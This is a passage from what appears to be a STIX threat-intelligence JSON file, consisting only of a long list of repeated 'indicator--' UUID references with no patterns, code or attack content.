        "indicator--f35eeec1-98a6-4ddc-ad90-7ab0063d5a22",
        "indicator--20f9bd85-64c0-4076-81b2-bfa9d07838e8",
        "indicator--5607362d-1a85-4dde-a180-9407fa276198",
        "indicator--f35eeec1-98a6-4ddc-ad90-7ab0063d5a22",
        "indicator--20f9bd85-64c0-4076-81b2-bfa9d07838e8",
        "indicator--31723584-f829-40a9-ad57-8bde67bc63be",
        "indicator--31723584-f829-40a9-ad57-8bde67bc63be",
        "indicator--3bcf2566-84a9-411a-8990-26a49f0df046",
        "indicator--711539bf-e1b4-4f26-9d2a-8e1e59d6eebd",
        "indicator--efa12dd6-4f2a-4af8-9531-c16103547824",
        "indicator--fe17d355-f215-452b-8ace-25e295f70d51",
        "indicator--9308ad5d-e738-4f6f-8954-d4b310809846",
        "indicator--33008aef-0e5e-4d08-9fd6-f0885ae2c4bd",
        "indicator--4e295b8d-4ac8-43f1-94cb-045a549a9913",
        "indicator--3bcf2566-84a9-411a-8990-26a49f0df046",
        "indicator--711539bf-e1b4-4f26-9d2a-8e1e59d6eebd",
        "indicator--efa12dd6-4f2a-4af8-9531-c16103547824",
        "indicator--fe17d355-f215-452b-8ace-25e295f70d51",
        "indicator--9308ad5d-e738-4f6f-8954-d4b310809846",
        "indicator--33008aef-0e5e-4d08-9fd6-f0885ae2c4bd",
        "indicator--4e295b8d-4ac8-43f1-94cb-045a549a9913",
        "indicator--5e51027f-cc13-4eb8-8091-9c2b5d7a1b06",
        "indicator--5e51027f-cc13-4eb8-8091-9c2b5d7a1b06",
        "indicator--351cad2d-428b-4885-8852-b39e0fc0128a",
        "indicator--351cad2d-428b-4885-8852-b39e0fc0128a",
        "indicator--07f7077d-4eb8-4f94-ad4f-f42326a9e56f",
        "indicator--c943aa2a-ba5d-4f34-8422-143a5019093f",
        "indicator--33cb0237-91bc-4644-a884-9579246c5d7f",
        "indicator--aae1fbeb-ded2-458e-a0cb-bfc0057643db",
        "indicator--a944f006-254d-4301-b65b-283f9605c0f6",
        "indicator--a6ecf693-ded0-4e16-9c24-e34b8226303b",
        "indicator--cb290b49-f3e9-4e99-84a4-83c9fb0630c1",
        "indicator--cb290b49-f3e9-4e99-84a4-83c9fb0630c1",
        "indicator--c7065b56-20b9-43a0-946d-e7c9905360d5",
        "indicator--21e6f3cd-84af-4861-be6b-e490bd51ae2f",
        "indicator--21e6f3cd-84af-4861-be6b-e490bd51ae2f",
        "indicator--f5031ef2-314f-4caf-ad26-021337519975",
        "indicator--f5031ef2-314f-4caf-ad26-021337519975",
        "indicator--2303acee-2166-4ffb-9d86-d3741c8eb264",
        "indicator--2303acee-2166-4ffb-9d86-d3741c8eb264",
        "indicator--df13617c-435e-487a-819a-5a45bc578c22",
        "indicator--df13617c-435e-487a-819a-5a45bc578c22",
        "indicator--c6fbd370-fcac-4eff-b97a-bf965897fcde",
        "indicator--c6fbd370-fcac-4eff-b97a-bf965897fcde",
        "indicator--21504122-28ce-4699-8c86-61d3168596e3",
        "indicator--af4e1c4d-4349-4a5e-966c-33bd05462a1c",
        "indicator--21504122-28ce-4699-8c86-61d3168596e3",
        "indicator--af4e1c4d-4349-4a5e-966c-33bd05462a1c",
        "indicator--5857159d-0396-49df-8d41-fb4a48358d29",
        "indicator--5857159d-0396-49df-8d41-fb4a48358d29",
        "indicator--4425c0ed-412e-4c2f-b701-6697ae52468b",
        "indicator--943c175d-bab4-4e48-aff5-3de56a0dddfd",
        "indicator--3ef0211f-9c5a-4899-8fa3-4ccd9f9aeb85",
        "indicator--a7b51aef-8e9d-4e5e-9261-9c58f0640832",
        "indicator--4425c0ed-412e-4c2f-b701-6697ae52468b",
        "indicator--943c175d-bab4-4e48-aff5-3de56a0dddfd",
        "indicator--3ef0211f-9c5a-4899-8fa3-4ccd9f9aeb85",
        "indicator--a7b51aef-8e9d-4e5e-9261-9c58f0640832",
        "indicator--24495265-c15c-452d-9854-5d4a4a3c4db9",
        "indicator--7525bcf1-4314-4c0f-ac68-da2286508080",
        "indicator--a762a3f9-c294-49b9-a40b-c077f169244c",
        "indicator--a762a3f9-c294-49b9-a40b-c077f169244c",
        "indicator--6d05db9a-5d64-433c-8261-2dff38a56b42",
        "indicator--6d05db9a-5d64-433c-8261-2dff38a56b42",
        "indicator--bc058dbb-0bbc-4436-973f-09ba12731b78",
        "indicator--76092486-8b74-43d7-a2e6-230ef1e3123a",
        "indicator--fd1ec240-cb5c-4fe3-bf3e-b2b9ceeaca40",
        "indicator--bc058dbb-0bbc-4436-973f-09ba12731b78",
        "indicator--76092486-8b74-43d7-a2e6-230ef1e3123a",
        "indicator--fd1ec240-cb5c-4fe3-bf3e-b2b9ceeaca40",
        "indicator--a99da0d4-a0a7-403b-8b53-a90d1418e7e8",
        "indicator--a99da0d4-a0a7-403b-8b53-a90d1418e7e8",
        "indicator--c3ff5785-d9f8-4880-8b65-cc12d1a74dbb",
        "indicator--6aa7f016-ed49-45bc-89cd-62a0f4c3199a",
        "indicator--d30ae4df-6cd6-4824-bb18-c5b1c3668f0f",
        "indicator--6aa7f016-ed49-45bc-89cd-62a0f4c3199a",
        "indicator--d30ae4df-6cd6-4824-bb18-c5b1c3668f0f",
        "indicator--3338227e-095c-4a91-a1f1-2a280a692126",
        "indicator--3338227e-095c-4a91-a1f1-2a280a692126",
        "indicator--4a03eb2e-e084-47c1-a1e8-b8ca6b6a49cd",
        "indicator--4a03eb2e-e084-47c1-a1e8-b8ca6b6a49cd",
        "indicator--13984d2d-b6b9-4d93-a7e6-b885e3bee427",
        "indicator--13984d2d-b6b9-4d93-a7e6-b885e3bee427",
        "indicator--7475ac9b-89e1-4fc8-aaed-2eb827dffffe",
        "indicator--a42f2a43-b41a-4f51-a680-5a4e08dc1cba",
        "indicator--5f22c5ec-c8aa-47ad-8aaf-994e6d798f8a",
        "indicator--833726ee-b11b-4076-ba9a-63652f70b326",
        "indicator--7475ac9b-89e1-4fc8-aaed-2eb827dffffe",
        "indicator--a42f2a43-b41a-4f51-a680-5a4e08dc1cba",
        "indicator--5f22c5ec-c8aa-47ad-8aaf-994e6d798f8a",
        "indicator--833726ee-b11b-4076-ba9a-63652f70b326",
        "indicator--e3570636-82c2-4667-bdcb-45f92aa4faef",
        "indicator--e3570636-82c2-4667-bdcb-45f92aa4faef",
        "indicator--4462cdc4-80d5-474f-a1d7-13c8cbbf59f0",
        "indicator--bc1e0a2b-600b-478b-af09-0800665f06ee",
        "indicator--4462cdc4-80d5-474f-a1d7-13c8cbbf59f0",
        "indicator--bc1e0a2b-600b-478b-af09-0800665f06ee",
        "indicator--c9dbfec5-efc2-4e38-9aea-2e2fd6a0f774",
        "indicator--d2826e6e-ecbf-4023-8121-ebc06ce1820d",
        "indicator--c9dbfec5-efc2-4e38-9aea-2e2fd6a0f774",
        "indicator--d2826e6e-ecbf-4023-8121-ebc06ce1820d",
        "indicator--cb5c86cc-71b1-473c-bd31-df0ccd806634",
        "indicator--7b5a38dc-e831-439a-ba90-be16ea0e30bb",
        "indicator--cb5c86cc-71b1-473c-bd31-df0ccd806634",
        "indicator--7b5a38dc-e831-439a-ba90-be16ea0e30bb",
        "indicator--7f4dc85d-7a59-4290-bae1-fb43b5a1f9e4",
        "indicator--062bfd73-c9a0-4a9e-9809-42410d717443",
        "indicator--7f4dc85d-7a59-4290-bae1-fb43b5a1f9e4",
        "indicator--062bfd73-c9a0-4a9e-9809-42410d717443",
        "indicator--04744fd5-7722-4c03-bd77-ef1a57e962d3",
        "indicator--dad14d80-1419-4e42-be90-22e506d7970d",
        "indicator--04744fd5-7722-4c03-bd77-ef1a57e962d3",
        "indicator--dad14d80-1419-4e42-be90-22e506d7970d",
        "indicator--1a86eea0-e28c-4a1c-ad73-97cdfde97729",
        "indicator--16a46f34-882e-42c0-8fc6-33d67a0930e3",
        "indicator--ea62c971-51a3-4045-8f4d-e39a8aaf5b12",
        "indicator--7b1e7069-a285-4f24-b443-942a163ae709",
        "indicator--b0fed5ea-9d3e-4d16-a32f-b1faabcb592c",
        "indicator--7e5a86b2-d00f-4ab6-86b5-f73c0a7712fb",
        "indicator--7e5a86b2-d00f-4ab6-86b5-f73c0a7712fb",
        "indicator--14cb5c05-fa9f-4775-a515-8f01cdd95c61",
        "indicator--6ddc46c2-32f0-4d20-851a-bedb52973598",
        "indicator--14cb5c05-fa9f-4775-a515-8f01cdd95c61",
        "indicator--6ddc46c2-32f0-4d20-851a-bedb52973598",
        "indicator--c174dbca-90c0-44f3-b7fb-7c45b0618bb9",
        "indicator--c174dbca-90c0-44f3-b7fb-7c45b0618bb9",
        "indicator--a2d3f214-d5d6-4eed-9087-9e3d11981e14",
        "indicator--832a5742-f81c-4250-90e2-aa467103b9bf",
        "indicator--e1c58ed9-e0b1-4f78-863e-1a6cb0cd76d3",
        "indicator--f31d81c9-3fab-413f-b1cc-21115e049e12",
        "indicator--751078f2-cde5-44ad-bb34-6b74dd346b54",
        "indicator--d5986602-4d79-4898-ac9b-2f0664d83f18",
        "indicator--e4eddad1-8df4-4482-8bd0-a367dbab2d4c",
        "indicator--7cbcbbb7-ae2a-4eaa-886f-9be210a13f6f",
        "indicator--efdacd36-77c7-40d1-a626-b1c05fd92fe6",
        "indicator--751078f2-cde5-44ad-bb34-6b74dd346b54",
        "indicator--d5986602-4d79-4898-ac9b-2f0664d83f18",
        "indicator--e4eddad1-8df4-4482-8bd0-a367dbab2d4c",
        "indicator--7cbcbbb7-ae2a-4eaa-886f-9be210a13f6f",
        "indicator--efdacd36-77c7-40d1-a626-b1c05fd92fe6",
        "indicator--3b2d4e9f-9e21-47b4-afb4-281c531b9a4a",
        "indicator--48c96873-b9c4-4aea-93e0-628d2efcdd6d",
        "indicator--7e57da35-b779-403f-a8bb-5c335bb35215",
        "indicator--121fe878-72e9-4cc1-8553-e4da05fdf846",
        "indicator--121fe878-72e9-4cc1-8553-e4da05fdf846",
        "indicator--65208e6b-0280-4989-8be8-d6c78badadb2",
        "indicator--b7d6b3ec-fd7a-4797-a74f-d545ef43318c",
        "indicator--7f9d57ec-03c6-475c-b279-7b9798592f17",
        "indicator--7f9d57ec-03c6-475c-b279-7b9798592f17",
        "indicator--141829cd-f040-4017-8fb8-98125f071731",
        "indicator--141829cd-f040-4017-8fb8-98125f071731",
        "indicator--6f170d19-b760-4fd6-851c-0901c289fefe",
        "indicator--6f170d19-b760-4fd6-851c-0901c289fefe",
        "indicator--6aa789b7-4425-4cdb-83ec-4c78a868ada6",
        "indicator--1f732671-1058-49d4-8d74-4154808ba66b",
        "indicator--1f732671-1058-49d4-8d74-4154808ba66b",
        "indicator--a74d0342-24ca-4af1-a5be-637797dd8680",
        "indicator--a77c1360-0aef-4a92-a9a9-b1d494c9aa29",
        "indicator--a77c1360-0aef-4a92-a9a9-b1d494c9aa29",
        "indicator--9c9a0ade-e06a-465b-8ba2-1fe732aa2b8b",
        "indicator--e224e36c-8f06-4799-a1c0-094111286ffc",
        "indicator--9d8c6d65-7055-447e-bd4c-de9b34d0be3c",
        "indicator--6a1a8610-63a7-4d52-8eb3-6c5da03a49a0",
        "indicator--9d8c6d65-7055-447e-bd4c-de9b34d0be3c",
        "indicator--6a1a8610-63a7-4d52-8eb3-6c5da03a49a0",
        "indicator--86eeb655-ce58-4e6d-a3d2-6080523492e1",
        "indicator--8c65255b-6134-43ef-821c-ead69916bd3a",
        "indicator--86eeb655-ce58-4e6d-a3d2-6080523492e1",
        "indicator--8c65255b-6134-43ef-821c-ead69916bd3a",
        "indicator--1a7280f4-d8af-48a0-b413-6bf1e8fbdb1a",
        "indicator--1a7280f4-d8af-48a0-b413-6bf1e8fbdb1a",
        "indicator--c8267e40-a59f-45e8-a835-cd82000bedb6",
        "indicator--fca86e33-9c3e-47fc-9348-b6ebe2754ff1",
        "indicator--e7165df4-de32-491d-bd33-b66a17373e9f",
        "indicator--e013f7a5-dfdb-4ba1-a4ab-b3217eda9c48",
        "indicator--be2540e7-f9ce-4bf4-bca5-e911600bd8d0",
        "indicator--117da9f9-d5cf-4c4a-bceb-d93b0dc25a13",
        "indicator--c8267e40-a59f-45e8-a835-cd82000bedb6",
        "indicator--fca86e33-9c3e-47fc-9348-b6ebe2754ff1",
        "indicator--e7165df4-de32-491d-bd33-b66a17373e9f",
        "indicator--e013f7a5-dfdb-4ba1-a4ab-b3217eda9c48",
        "indicator--be2540e7-f9ce-4bf4-bca5-e911600bd8d0",
        "indicator--117da9f9-d5cf-4c4a-bceb-d93b0dc25a13",
        "indicator--efcf9514-9e6b-40a0-aab1-e5843d07c2ee",
        "indicator--efcf9514-9e6b-40a0-aab1-e5843d07c2ee",
        "indicator--f1ec5304-3ec8-4bf8-acef-6df427d74888",
        "indicator--f1ec5304-3ec8-4bf8-acef-6df427d74888",
        "indicator--5e58c20e-d703-481d-96a9-f1ee09e3aee5",
        "indicator--5e58c20e-d703-481d-96a9-f1ee09e3aee5",
        "indicator--768f7e79-b540-41de-a6f2-344c50ea4e92",
        "indicator--768f7e79-b540-41de-a6f2-344c50ea4e92",
        "indicator--dfeec42f-0f2a-44ec-9d86-fc4331e14666",
        "indicator--dfeec42f-0f2a-44ec-9d86-fc4331e14666",
        "indicator--cc0f9641-d1c4-4acf-8690-876185165e80",
        "indicator--adf4289a-2c0e-43fa-86c3-2d12d1b72d15",
        "indicator--cc0f9641-d1c4-4acf-8690-876185165e80",
        "indicator--adf4289a-2c0e-43fa-86c3-2d12d1b72d15",
        "indicator--76125988-8eda-43be-a588-2658a05f19cd",
        "indicator--6177db25-45f8-4c3d-9b73-bfac6360e055",
        "indicator--89c0df96-8612-4c94-8c4d-72ac52033b7a",
        "indicator--89c0df96-8612-4c94-8c4d-72ac52033b7a",
        "indicator--c36f2837-6aaa-4775-a06e-1874a96f7196",
        "indicator--c36f2837-6aaa-4775-a06e-1874a96f7196",
        "indicator--0849b532-99a3-4ccf-99ce-f430f021d261",
        "indicator--f68deffc-e16a-4131-acf1-a1abfc2bb9de",
        "indicator--0849b532-99a3-4ccf-99ce-f430f021d261",
        "indicator--f68deffc-e16a-4131-acf1-a1abfc2bb9de",
        "indicator--22d6e4b8-565a-4b96-9d65-39d02822e395",
        "indicator--548186a9-42d8-431f-8347-9af95df54cdd",
        "indicator--548186a9-42d8-431f-8347-9af95df54cdd",
        "indicator--d616489e-d714-40ad-a552-abbad76c0a27",
        "indicator--24788ee2-bbd4-4f54-826b-9882cacf540b",
        "indicator--c841d7a3-0211-4471-b6da-76cfee1b6b5a",
        "indicator--24788ee2-bbd4-4f54-826b-9882cacf540b",
        "indicator--c841d7a3-0211-4471-b6da-76cfee1b6b5a",
        "indicator--a271cee7-7e51-4f94-851e-026487b703da",
        "indicator--6255909a-ec1c-41de-aca7-13e5a38b7a30",
        "indicator--a271cee7-7e51-4f94-851e-026487b703da",
        "indicator--6255909a-ec1c-41de-aca7-13e5a38b7a30",
        "indicator--285529bf-4b65-47c5-9874-7dc2d0a241a2",
        "indicator--358b12ed-08c9-4463-8fdd-151ad2bee7ee",
        "indicator--285529bf-4b65-47c5-9874-7dc2d0a241a2",
        "indicator--358b12ed-08c9-4463-8fdd-151ad2bee7ee",
        "indicator--ad1af1cd-644a-44c8-a053-e6098af6b5bf",
        "indicator--e080192e-88f7-4026-b7b2-dde901307c67",
        "indicator--b36b1cd9-c185-421d-a19a-faa3812a29a1",
        "indicator--ad1af1cd-644a-44c8-a053-e6098af6b5bf",
        "indicator--e080192e-88f7-4026-b7b2-dde901307c67",
        "indicator--b36b1cd9-c185-421d-a19a-faa3812a29a1",
        "indicator--098a35e3-6be4-4b52-b7ad-6974e1ce1f06",
        "indicator--098a35e3-6be4-4b52-b7ad-6974e1ce1f06",
        "indicator--1c1f6392-9f4d-4cd6-b996-f0617f154ddc",
        "indicator--4f010ccb-917e-4d42-acb4-bded6d83fd2d",
        "indicator--4f010ccb-917e-4d42-acb4-bded6d83fd2d",
        "indicator--93565b86-92b0-492b-ae42-d95a1020572a",
        "indicator--93565b86-92b0-492b-ae42-d95a1020572a",
        "indicator--0a03e6fb-f243-423e-9825-439dd6a26d1e",
        "indicator--0a03e6fb-f243-423e-9825-439dd6a26d1e",
        "indicator--c96bf07f-0bff-44ad-9f6e-9f05368a56f6",
        "indicator--182707d2-c789-40c8-b64d-ad3a5df02447",
        "indicator--61e68289-e3d9-4bd6-b968-15ee3e0d2ff5",
        "indicator--d78f6594-5cc6-4b31-b6e1-50929968b148",
        "indicator--d78f6594-5cc6-4b31-b6e1-50929968b148",
        "indicator--8a4d0218-6f8b-460b-88bc-3ccd87cf41f2",
        "indicator--0f4aa8e6-7526-46be-badf-7ca1c82cf298",
        "indicator--9d8b114f-6ad1-4890-9cbe-4391641bef9a",
        "indicator--56d9b25d-92f5-412c-b1c4-df8a41613901",
        "indicator--56d9b25d-92f5-412c-b1c4-df8a41613901",
        "indicator--a35c89df-0944-4934-a227-c5c4f6691079",
        "indicator--a35c89df-0944-4934-a227-c5c4f6691079",
        "indicator--7d4ed305-879a-4a76-8bda-a876e9490ba9",
        "indicator--7d4ed305-879a-4a76-8bda-a876e9490ba9",
        "indicator--2150e350-ed42-493b-8278-5ca31bd0f8d6",
        "indicator--2150e350-ed42-493b-8278-5ca31bd0f8d6",
        "indicator--9295d8fa-131a-4097-9117-86f609578261",
        "indicator--6756a520-8dea-4fa5-a94a-136d1f361e23",
        "indicator--9295d8fa-131a-4097-9117-86f609578261",
        "indicator--6756a520-8dea-4fa5-a94a-136d1f361e23",
        "indicator--2e1eb466-7828-486b-8697-dc25176d3e07",
        "indicator--2e1eb466-7828-486b-8697-dc25176d3e07",
        "indicator--20a0a4a5-3219-4947-abe4-af9ee7800c8c",
        "indicator--413af945-1597-4f21-8fed-3896f86e0a66",
        "indicator--23fb0daf-5540-401d-b465-4fa9367d640f",
        "indicator--8d446abe-79a0-49e6-acae-dc7c40524f44",
        "indicator--9eb68b73-523b-4b2f-86dd-3d1db775c6ce",
        "indicator--2a730f4f-bc1c-4dc4-acc1-b0b9aeac8f7f",
        "indicator--2a730f4f-bc1c-4dc4-acc1-b0b9aeac8f7f",
        "indicator--d2bcadd6-f7c5-4e2f-817b-2a50f08eb6cd",
        "indicator--d2bcadd6-f7c5-4e2f-817b-2a50f08eb6cd",
        "indicator--9a992da8-0669-40c0-9ada-304d14552518",
        "indicator--c3b15e75-ac0d-4824-b253-187b7735bfec",
        "indicator--9a992da8-0669-40c0-9ada-304d14552518",
        "indicator--c3b15e75-ac0d-4824-b253-187b7735bfec",
        "indicator--55a96ce6-beee-4af2-9679-a4b95c2d0183",
        "indicator--55a96ce6-beee-4af2-9679-a4b95c2d0183",
        "indicator--ad49ad89-2c4c-4569-bb70-ca147b12071e",
        "indicator--1f256220-3061-463b-be3a-daf615a5597e",
        "indicator--ad49ad89-2c4c-4569-bb70-ca147b12071e",
        "indicator--1f256220-3061-463b-be3a-daf615a5597e",
        "indicator--4060026a-dcd2-4272-9c37-91cf9de79df1",
        "indicator--6c6a95b1-51c1-4372-ad5c-40e31dde885a",
        "indicator--7b928bf4-52dd-4e40-a21d-3ab2cd0c8f82",
        "indicator--7b928bf4-52dd-4e40-a21d-3ab2cd0c8f82",
        "indicator--5c16e395-15fa-4830-9e3c-fdfaa379cba7",
        "indicator--5c16e395-15fa-4830-9e3c-fdfaa379cba7",
        "indicator--a2b2e9ef-99b8-46e4-a366-1580df5984c2",
        "indicator--a2b2e9ef-99b8-46e4-a366-1580df5984c2",
        "indicator--2d571f8e-14d9-435f-a6d0-21be1b4c4777",
        "indicator--eb47e7e0-a6b0-4332-96fd-a175beba65c1",
        "indicator--2d571f8e-14d9-435f-a6d0-21be1b4c4777",
        "indicator--eb47e7e0-a6b0-4332-96fd-a175beba65c1",
        "indicator--4bd8cee0-b6d2-408d-827b-11191f56a86c",
        "indicator--6d1bc329-6f7b-4f96-8225-32591489a83c",
        "indicator--4be0ae6a-e9a4-45f2-ac26-f80b302ff962",
        "indicator--4bd8cee0-b6d2-408d-827b-11191f56a86c",
        "indicator--6d1bc329-6f7b-4f96-8225-32591489a83c",
        "indicator--4be0ae6a-e9a4-45f2-ac26-f80b302ff962",
        "indicator--73f0407e-9189-4fe7-b485-a3bcbf8999bd",
        "indicator--73f0407e-9189-4fe7-b485-a3bcbf8999bd",
        "indicator--ba08513d-144e-424e-8469-1d6d723d5373",
        "indicator--ba08513d-144e-424e-8469-1d6d723d5373",
        "indicator--aca9cd00-e325-4d36-98b8-edde898b42f3",
        "indicator--aca9cd00-e325-4d36-98b8-edde898b42f3",
        "indicator--f56e0486-b9be-40b7-9fb4-da7653d390eb",
        "indicator--f56e0486-b9be-40b7-9fb4-da7653d390eb",
        "indicator--f6c7b444-5c66-4a45-9dd1-ce918358dc49",
        "indicator--8230ab5e-3db6-4e69-8ac0-44de772e8ef6",
        "indicator--f6c7b444-5c66-4a45-9dd1-ce918358dc49",
        "indicator--8230ab5e-3db6-4e69-8ac0-44de772e8ef6",
        "indicator--d4225d28-8876-461a-88dd-495a045f11ef",
        "indicator--d4225d28-8876-461a-88dd-495a045f11ef",
        "indicator--df7d28a3-cf14-4bc4-aa40-cdcedea70e3b",
        "indicator--32b7d5ca-172c-4226-a17e-6ba1a18f08b6",
        "indicator--32b7d5ca-172c-4226-a17e-6ba1a18f08b6",
        "indicator--f01f35e4-c158-4b6c-b7e3-00d7486b0b25",
        "indicator--67d229f0-0bc1-43c4-95a7-ff0be8b306b8",
        "indicator--81417f5d-ba25-4991-a8a8-6f8a6059ce72",
        "indicator--f01f35e4-c158-4b6c-b7e3-00d7486b0b25",
        "indicator--67d229f0-0bc1-43c4-95a7-ff0be8b306b8",
        "indicator--81417f5d-ba25-4991-a8a8-6f8a6059ce72",
        "indicator--8196bd27-8ebb-426a-a044-ab1d192ea13b",
        "indicator--8196bd27-8ebb-426a-a044-ab1d192ea13b",
        "indicator--164127fb-a74d-4933-a84b-6bfda8914636",
        "indicator--164127fb-a74d-4933-a84b-6bfda8914636",
        "indicator--4d4a8474-2235-4f98-9d05-a61cd1d05bd9",
        "indicator--0722f554-f61d-47d2-adde-b7c444c3c2f2",
        "indicator--ed2685bb-d975-441e-b21e-63fc2b67d0f0",
        "indicator--4d4a8474-2235-4f98-9d05-a61cd1d05bd9",
        "indicator--0722f554-f61d-47d2-adde-b7c444c3c2f2",
        "indicator--ed2685bb-d975-441e-b21e-63fc2b67d0f0",
        "indicator--92d4ded3-900b-4805-ae28-28ac3e5d3475",
        "indicator--e0bf3ba7-2e22-4115-9d66-dc02de9ca192",
        "indicator--92d4ded3-900b-4805-ae28-28ac3e5d3475",
        "indicator--e0bf3ba7-2e22-4115-9d66-dc02de9ca192",
        "indicator--53201141-1501-413e-8f49-f567cab19f3a",
        "indicator--84673100-fe63-4f33-90f5-d8fc49e6e87c",
        "indicator--ede496af-59dd-4f20-9331-55355ff36af5",
        "indicator--605ab4f7-0a56-464e-80a9-762e87574b66",
        "indicator--495c2695-b585-4ffd-a6f2-2ec252946f2a",
        "indicator--6df721c2-c0a4-40f9-9f06-4dd5d73fe700",
        "indicator--70d439a0-dafa-46e6-8bf3-10ce9cf9677b",
        "indicator--1a0901fa-d741-4da9-a60b-97a69d47d613",
        "indicator--c294083f-3316-4d0e-9e64-b34abfb74313",
        "indicator--c294083f-3316-4d0e-9e64-b34abfb74313",
        "indicator--32ddcd2f-624f-42d2-8c06-9f994456e74d",
        "indicator--a28ea220-5396-4adc-84ec-f859e24b95ed",
        "indicator--32ddcd2f-624f-42d2-8c06-9f994456e74d",
        "indicator--a28ea220-5396-4adc-84ec-f859e24b95ed",
        "indicator--e13100bb-beb5-4bd6-a2bf-249969e4c4ce",
        "indicator--53615b87-4225-48ba-b44f-f045f09e6c2e",
        "indicator--85ffd48a-7ddf-416e-bcad-40ee909c8efe",
        "indicator--97552828-76a1-4875-ae66-0b4df2a8ec07",
        "indicator--af1b0433-289e-4e29-a54c-d5d827de0736",
        "indicator--97552828-76a1-4875-ae66-0b4df2a8ec07",
        "indicator--af1b0433-289e-4e29-a54c-d5d827de0736",
        "indicator--cc7d0f4b-8119-4cff-b155-e178271f306a",
        "indicator--cc7d0f4b-8119-4cff-b155-e178271f306a",
        "indicator--959902a5-c46d-4a8a-bd64-fd99122cda53",
        "indicator--959902a5-c46d-4a8a-bd64-fd99122cda53",
        "indicator--e4508a67-8b22-47aa-812e-e7666705fc98",
        "indicator--e4508a67-8b22-47aa-812e-e7666705fc98",
        "indicator--9001387d-530d-4cb4-9e40-b78c16edab8d",
        "indicator--339af304-3db0-4ee5-b463-f43f91e1b871",
        "indicator--7432728f-9826-4fb9-9db8-d501d0f8a8f9",
        "indicator--9a3d7368-13fc-4d69-b743-b95534e4de85",
        "indicator--f46d730b-99c1-42f8-82f4-5ec2d2ba9c1e",
        "indicator--96e4de45-ed19-4e26-9ab1-e7ee95d5dec9",
        "indicator--7432728f-9826-4fb9-9db8-d501d0f8a8f9",
        "indicator--9a3d7368-13fc-4d69-b743-b95534e4de85",
        "indicator--f46d730b-99c1-42f8-82f4-5ec2d2ba9c1e",
        "indicator--96e4de45-ed19-4e26-9ab1-e7ee95d5dec9",
        "indicator--5fca7435-7d56-4552-8551-3de2a1e046b6",
        "indicator--62e3c9d0-e6b6-4ff8-8347-2824d01ddb7c",
        "indicator--5fca7435-7d56-4552-8551-3de2a1e046b6",
        "indicator--62e3c9d0-e6b6-4ff8-8347-2824d01ddb7c",
        "indicator--be071703-683d-47ca-95b1-c1c300a940d1",
        "indicator--e7079ce2-6965-4370-b216-6923ce899deb",
        "indicator--0bc4cf96-5f12-415b-aaaf-35ec85d432ba",
        "indicator--48861b80-2455-458f-81ff-c2946c953bfd",
        "indicator--be071703-683d-47ca-95b1-c1c300a940d1",
        "indicator--e7079ce2-6965-4370-b216-6923ce899deb",
        "indicator--0bc4cf96-5f12-415b-aaaf-35ec85d432ba",
        "indicator--48861b80-2455-458f-81ff-c2946c953bfd",
        "indicator--99655e23-7d86-4b07-921a-7802fee585be",
        "indicator--3227bf1a-7059-4626-9fd6-1f8759f2f6c7",
        "indicator--3227bf1a-7059-4626-9fd6-1f8759f2f6c7",
        "indicator--8743f072-5ba3-4f0d-8d4d-0b4f3299b003",
        "indicator--8743f072-5ba3-4f0d-8d4d-0b4f3299b003",
        "indicator--4d16c729-9d23-474b-9fcb-4ac447fb7404",
        "indicator--4d16c729-9d23-474b-9fcb-4ac447fb7404",
        "indicator--b850784b-4dfd-45a4-b4b1-a61400cb75e9",
        "indicator--b850784b-4dfd-45a4-b4b1-a61400cb75e9",
        "indicator--d5ec0ac9-8caf-4f9b-800c-35d81dcc30a1",
        "indicator--d5ec0ac9-8caf-4f9b-800c-35d81dcc30a1",
        "indicator--3c6c0ed9-e850-4810-964f-5e99e3c52db4",
        "indicator--08ac6586-90bc-4e51-820c-419d33b87c8a",
        "indicator--3c6c0ed9-e850-4810-964f-5e99e3c52db4",
        "indicator--08ac6586-90bc-4e51-820c-419d33b87c8a",
        "indicator--255b2284-bf1e-4d3e-aea7-6fa9d9adc0a8",
        "indicator--2faa1347-e781-45a6-a71c-4162c6145876",
        "indicator--255b2284-bf1e-4d3e-aea7-6fa9d9adc0a8",
        "indicator--2faa1347-e781-45a6-a71c-4162c6145876",
        "indicator--fbe3db7f-7751-43ff-8353-96735979d23c",
        "indicator--62c6db36-0b1c-436b-94bc-25c08dad14a8",
        "indicator--fbe3db7f-7751-43ff-8353-96735979d23c",
        "indicator--62c6db36-0b1c-436b-94bc-25c08dad14a8",
        "indicator--ff6e4df6-08d3-48f3-9854-edb941afd985",
        "indicator--8cba0e21-b833-4b2a-8cc2-6d144652e2a0",
        "indicator--ff6e4df6-08d3-48f3-9854-edb941afd985",
        "indicator--8cba0e21-b833-4b2a-8cc2-6d144652e2a0",
        "indicator--aa156e1f-ddf5-4c60-a81c-b2c82cff9b17",
        "indicator--aa156e1f-ddf5-4c60-a81c-b2c82cff9b17",
        "indicator--d1b2a830-ad3e-429b-bf86-c1c4f16e3481",
        "indicator--9b2f18af-99ec-4c19-b4d5-7a144ad7377b",
        "indicator--d1b2a830-ad3e-429b-bf86-c1c4f16e3481",
        "indicator--9b2f18af-99ec-4c19-b4d5-7a144ad7377b",
        "indicator--360d6ee1-32e9-4eda-bb22-0b7cb27f2688",
        "indicator--38b36022-3cbb-4e96-96c1-07211a00747b",
        "indicator--c0bdf5da-4a08-430e-bcf2-cfb34950e254",
        "indicator--11848726-7a28-4bda-8553-dccef2973082",
        "indicator--d7a4b0ff-6c23-46ec-a2d5-0e4411bd7415",
        "indicator--97ae45a4-0f8c-4601-8547-d9226cfcacad",
        "indicator--360d6ee1-32e9-4eda-bb22-0b7cb27f2688",
        "indicator--38b36022-3cbb-4e96-96c1-07211a00747b",
        "indicator--c0bdf5da-4a08-430e-bcf2-cfb34950e254",
        "indicator--11848726-7a28-4bda-8553-dccef2973082",
        "indicator--d7a4b0ff-6c23-46ec-a2d5-0e4411bd7415",
        "indicator--97ae45a4-0f8c-4601-8547-d9226cfcacad",
        "indicator--09c689d9-d610-44be-864c-e9d06be714a4",
        "indicator--09c689d9-d610-44be-864c-e9d06be714a4",
        "indicator--dbda5bd5-9911-4a5b-bc1b-83d5e7fce76c",
        "indicator--4d9b5b6a-c118-4717-be24-7b256107882d",
        "indicator--dbda5bd5-9911-4a5b-bc1b-83d5e7fce76c",
        "indicator--4d9b5b6a-c118-4717-be24-7b256107882d",
        "indicator--1da1e655-fdfb-459f-9b32-f8d94a228130",
        "indicator--b605c88a-858d-4d8b-8603-5d432b4ed368",
        "indicator--b0525028-ca2c-42bc-bfda-ed5d554d9ec9",
        "indicator--1da1e655-fdfb-459f-9b32-f8d94a228130",
        "indicator--b605c88a-858d-4d8b-8603-5d432b4ed368",
